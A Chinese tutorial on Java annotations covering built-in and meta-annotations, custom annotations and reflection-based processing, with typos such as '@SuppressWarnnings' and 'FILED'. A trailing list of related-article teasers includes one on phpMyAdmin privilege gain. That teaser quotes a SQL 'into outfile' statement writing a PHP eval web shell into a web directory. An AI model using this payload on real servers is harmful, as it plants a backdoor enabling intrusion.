注解(概念、分类、自定义注解)

注解基本概念

注解(元数据)为我们在代码中添加信息提供一种形式化的方法,我们可以在某个时刻非常方便的使用这些数据。将的通俗一点,就是为这个方法增加的说明或功能。

作用:

  1. 编写文档:通过代码里标识的注解生成文档【生成doc文档】
  2. 代码分析:通过代码里的标识的注解对代码进行分析【使用反射】
  3. 编译检查:通过代码里的标识的注解让编译器实现基本的编译检查

JDK提供的注解

Java目前内置了三种注解@Override、@Deprecated、@SuppressWarnnings

@Override:用于标识方法,标识该方法属于重写父类的方法

@Target(ElementType.METHOD)
@Retention(RetentionPolicy.SOURCE)
public @interface Override {
}

@Deprecated:用于标识方法或类,标识该类或方法已过时,建议不要使用

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(value={CONSTRUCTOR, FIELD, LOCAL_VARIABLE, METHOD, PACKAGE, PARAMETER, TYPE})
public @interface Deprecated {
}

@SuppressWarnnings:用于有选择的关闭编译器对类、方法、成员变量、变量初始化的警告(压抑警告)

@Target({TYPE, FIELD, METHOD, PARAMETER, CONSTRUCTOR, LOCAL_VARIABLE})
@Retention(RetentionPolicy.SOURCE)
public @interface SuppressWarnings {
String[] value();
}

元注解

Java提供了四种元注解,即修饰注解的注解。观察上面源码可以发现三种,即:@Target、@Retention、@Document、@Inherited。主要作用如下:

名称

作用

属性值

取值

@Target

标识该注解用于什么地方

ElementType

CONSTRUCTOR:构造器上声明

FILED:属性上声明

LOCAL_VARIABLE:局部变量上声明

METHOD:方法上声明

PACKAGE:包声明

TYPE:类、接口、enum上使用

@Retention

表示在注解保留的阶段

RetentionPolicy

SOURCE:注解在编译时丢掉

CLASS:注解在class文件中存在,但会被jvm丢弃

RUNTIME:jvm会保留注释,可以通过反射机制获取注解信息

@Document

描述注解是否被抽取到API文档

@Inherited

允许子类继承父类的注解

如何自定义注解

使用@interface定义注解,会自动继承java.lang.annotation.Annotation接口,类似于类自动继承Object一样。注解中的每个方法表示一个配置参数,返回类型即是参数类型,可以通过default标识参数默认值。

本质:就是一个接口默认继承java.lang.annotation.Annotation接口

定义方式如下:

import java.lang.annotation.ElementType;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)//十分重要
@Target(ElementType.METHOD)
public @interface Test {
String value() default "";
}

注解中的参数类型

注解中的参数只支持如下类型:

  • 所有的基本类型:byte、short、char、int、long、float、double
  • String类型
  • Class类型
  • enum类型
  • Annotation类型
  • 以上类型的数组

如果定义其他类型的参数编译器会报错。


 

使用注解的注意点

  • 如果注解只有一个参数,最好取名value,这样在使用的时候可以直接指定属性值。例如:@Test("hello")
  • 只能使用public和默认权限修饰符修饰参数
  • 参数默认值:注解参数必须有确定的值。要么在定义的时候给默认值;要么在使用注解的时候指定参数值。
  • 赋值时,如果只有一个属性,且属性名是value,则value可以省略,直接定义值即可。,数组赋值时,值用{ }包裹,但是数组只有一个值时,则{ }可以省略

注解处理器

如果没有读取注解的方法,那么该注解就没有任何意义。使用注解的过程中,注解处理器是必不可少的,Java反射机制,完成对注解的处理

注解处理器类库

Java通过反射机制获取类、方法、属性上的注解,因此java.lang.reflect提供AnnotationElement支持注解,主要方法如下:

boolean is AnnotationPresent(Class<?extends Annotation> annotationClass):判断该元素是否被annotationClass注解修饰
<T extends Annotation> T getAnnotation(Class<T> annotationClass):获取 该元素上annotationClass类型的注解,
如果没有返回null(//    其实就是在内存中生成一个该注释接口的子类实现对象)
Annotation[] getAnnotations():返回该元素上所有的注解
<T extends Annotation> T[] getAnnotationsByType(Class<T> annotationClass):返回该元素上指定类型所有的注解
Annotation[] getDeclaredAnnotations():返回直接修饰该元素的所有注解
<T extends Annotation> T[] getDeclaredAnnotationsByType(Class<T> annotationClass):返回直接修饰该元素的所有注解

 

 总测试源码:每个分割是一个类

@Retention(RetentionPolicy.RUNTIME) //一定要加这个注解(注解的保留阶段)
public @interface WebServlet2 {

        public String value() default "";
        public String url() default "";

        public String name() default "";

}


/***************/
@WebServlet2(url = "/load3",name = "无语")
public class demo3 {

    void show(){
        System.out.println("我是demo3");
    }

}

/***************/
@WebServlet2(url = "/load")
public class demo2 {
    void show(){
        System.out.println("我是demo2");
    }
}

/***************/
@WebServlet2(url = "/load")
public class demo1 {


    void show(){
        System.out.println("我是demo1");
    }

}
/***************/

package com.aqiuo.反射;

import java.lang.annotation.Annotation;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class SumDemo {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        String arr[] =new String[]{"com.aqiuo.反射.demo1","com.aqiuo.反射.demo2","com.aqiuo.反射.demo3","com.aqiuo.反射.Person"};
        String urlname="/load";
        Class[] cls=new Class[arr.length];
        for (int i=0;i<arr.length;i++) {
            cls[i]=Class.forName(arr[i]);
            WebServlet2 annotation= (WebServlet2) cls[i].getDeclaredAnnotation(WebServlet2.class);

            if(annotation!=null) {
                String url = annotation.url();
                if (url.equals(urlname)) {
                    System.out.println(arr[i]);
                    Object x = cls[i].newInstance();
                    Method method = cls[i].getDeclaredMethod("show");
                    method.invoke(x);
                }
            }
        }
    }
}

 

小结:

  1. 以后大多数时候,我们会使用注解,而不是自定义注解
  2. 注解给谁看:
    1. 编译器
    2. 解析程序
  3. 注解不是程序的一部分

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/201274.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

bugku题解记录2

文章目录 哥哥的秘密黄道十二官where is flag一段新闻 哥哥的秘密 给出了一个qq&#xff0c;那就去看看呗 hint里面说 收集空间信息——相册——收集微博信息——相册——解题——相册——提交flag 那看看空间先 盲文&#xff1a; hint&#xff1a;密码时地人 旗帜存在相册里…

聚焦 6G 无线技术——目标和需求

从 3G 到 5G 乃至之后的每一种无线标准&#xff0c;都在设计时加入了推动行业发展的具体目标。例如&#xff0c;4G 专注于以 IP 为中心的灵活语音、数据和视频通信&#xff0c;而 5G 则在此基础上进行了改进。6G 的目标是提供更加无处不在、更高效、更身临其境的无线连接。6G 系…

想要更快的文件传输?看看这些aspera的替代方案吧

随着数据量的增大&#xff0c;文件传输已经成为许多公司和组织日常工作中必不可少的环节之一。而对于大容量、海量数据的传输&#xff0c;普通的传输方式可能甚至无法胜任。Aspera作为一种高效的文件传输协议应运而生&#xff0c;其能够在处理大容量、高速传输方面表现出色。然…

Verilog 入门(一)(Verilog 简介)

文章目录 什么是 Verilog HDL&#xff1f;Verilog 主要能力模块时延数据流描述方式 什么是 Verilog HDL&#xff1f; Verilog HDL是一种硬件描述语言&#xff0c;用于从算法级、门级到开关级的多种抽象设计层次的数字系统建模。被建模的数字系统对象的复杂性可以介于简单的门和…

MATLAB | 官方举办的动图绘制大赛 | 第三周赛情回顾

MATHWORKS官方举办的迷你黑客大赛第三期(MATLAB Flipbook Mini Hack)的最新进展&#xff01;&#xff01; 很荣幸前三周都成为了阶段性获奖者~&#xff1a; https://ww2.mathworks.cn/matlabcentral/communitycontests/contests/6/entries/13382 https://ww2.mathworks.cn/mat…

97.STL-查找算法 find

目录 STL-查找算法find 1.基本用法&#xff1a; 2.查找自定义类型&#xff1a; 3.查找范围&#xff1a; STL-查找算法find 在C的STL&#xff08;标准模板库&#xff09;中&#xff0c;find 算法用于在指定范围内查找指定值的元素。 功能描述&#xff1a; 查找指定元素&…

git-4

1.在GitHub上创建个人仓库 现在仓库中有LICENSE文件&#xff0c;但本地没有这个文件&#xff0c;该怎么办呢&#xff1f;往下看 2.把本地仓库同步到GitHub 3.不同人修改了不同文件如何处理&#xff1f; 两个人在同一个分支上&#xff0c;两个人修改了不同文件 其中一人&…

Django路由分发

首先明白一点&#xff0c;Django的每一个应用下都可以有自己的templates文件夹&#xff0c;urls.py文件夹&#xff0c;static文件夹&#xff0c;基于这个特点&#xff0c;Django能够很好的做到分组开发&#xff08;每个人只写自己的app&#xff09;&#xff0c;作为老大&#x…

uniapp 打包的 IOS打开白屏 uniapp打包页面空白

uniapp的路由跟vue一样,有hash模式和history模式, 使用 URL 的 hash 来模拟一个完整的 URL,于是当 URL 改变时,页面不会重新加载。 如果不想要很丑的 hash,我们可以用路由的 history 模式,这种模式充分利用 history.pushState API 来完成 URL 跳转而无须重新加载页面。…

谱方法学习笔记-下(超详细)

谱方法学习笔记&#x1f4d2; 谱方法学习笔记-上(超详细) 声明&#xff1a;鉴于CSDN使用 K a T e X KaTeX KaTeX 渲染公式&#xff0c; KaTeX \KaTeX KATE​X 与 L a T e X LaTeX LaTeX 不同&#xff0c;不支持直接的交叉引用命令&#xff0c;如\label和\eqref。 KaTeX \KaT…

【Web安全】拿到phpMyAdmin如何获取权限

文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…

文本三剑客

目录 grep awk 工具介绍 awk 命令 awk 常见的内置变量可直接用 awk 命令使用举例 打印磁盘已经使用情况 打印字符串 打印字符串确定文件有多少行 提取 ip地址 打印 /etc/passwd 所有用户名 打印多列内容 提取 /etc/passwd 以 root 开头的行 打印倒数第二行 当前…

Spark将execl表格文件导入到mysql中

实现代码 excel所需的pom依赖 案例实现 实现代码 package excel_mysqlimport org.apache.spark.sql.SparkSession import java.util.Propertiesobject t1 {def main(args: Array[String]): Unit {val spark SparkSession.builder().appName("ExcelToMySQL") /…

网络运维与网络安全 学习笔记2023.11.29

网络运维与网络安全 学习笔记 第三十天 今日更新太晚啦&#xff01;&#xff01;&#xff01; 主要是今天工作时挨了一天骂&#xff0c;服了&#xff0c;下次记得骂的轻一点&#xff01;&#xff01;&#xff01; &#xff08;要不是为了那点微薄的薪资&#xff0c;谁愿意听你…

数据结构-二叉树(2)

3.4堆的应用 3.4.1 堆排序 堆排序即利用堆的思想来进行排序&#xff0c;总共分为两个步骤&#xff1a; 1. 建堆 1.升序&#xff1a;建大堆&#xff1b; 2.降序&#xff1a;建小堆。 2. 利用堆删除思想来进行排序 这种写法有两个缺点&#xff1a; 1、先有一个堆的数据结构 …

Bert-VITS2本地部署遇到的错误

关于Bert-VITS2本地部署遇到的错误 1、在下载python中相关依赖时报错 building ‘hdbscan._hdbscan_tree’ extension error: Microsoft Visual C 14.0 or greater is required. Get it with “Microsoft C Build Tools”: https://visualstudio.microsoft.com/visual-cpp-bu…

[密码学]DES

先声明两个基本概念 代换&#xff08;substitution&#xff09;,用别的元素代替当前元素。des的s-box遵循这一设计。 abc-->def 置换&#xff08;permutation&#xff09;&#xff0c;只改变元素的排列顺序。des的p-box遵循这一设计。 abc-->bac DES最核心的算法就是…

【人工智能Ⅰ】实验2:遗传算法

实验2 遗传算法实验 一、实验目的 熟悉和掌握遗传算法的原理、流程和编码策略&#xff0c;理解求解TSP问题的流程并测试主要参数对结果的影响&#xff0c;掌握遗传算法的基本实现方法。 二、实验原理 旅行商问题&#xff0c;即TSP问题&#xff08;Traveling Salesman Proble…

MySQL 中的锁(二)

8.4. 意向锁 但是在上面的例子这里头有两个问题&#xff1a; 如果我们想对大楼整体上 S 锁&#xff0c;首先需要确保大楼中的没有正在维修的楼层&#xff0c;如果有正在维修的楼层&#xff0c;需要等到维修结束才可以对大楼整体上 S 锁。 如果我们想对大楼整体上 X 锁&#xf…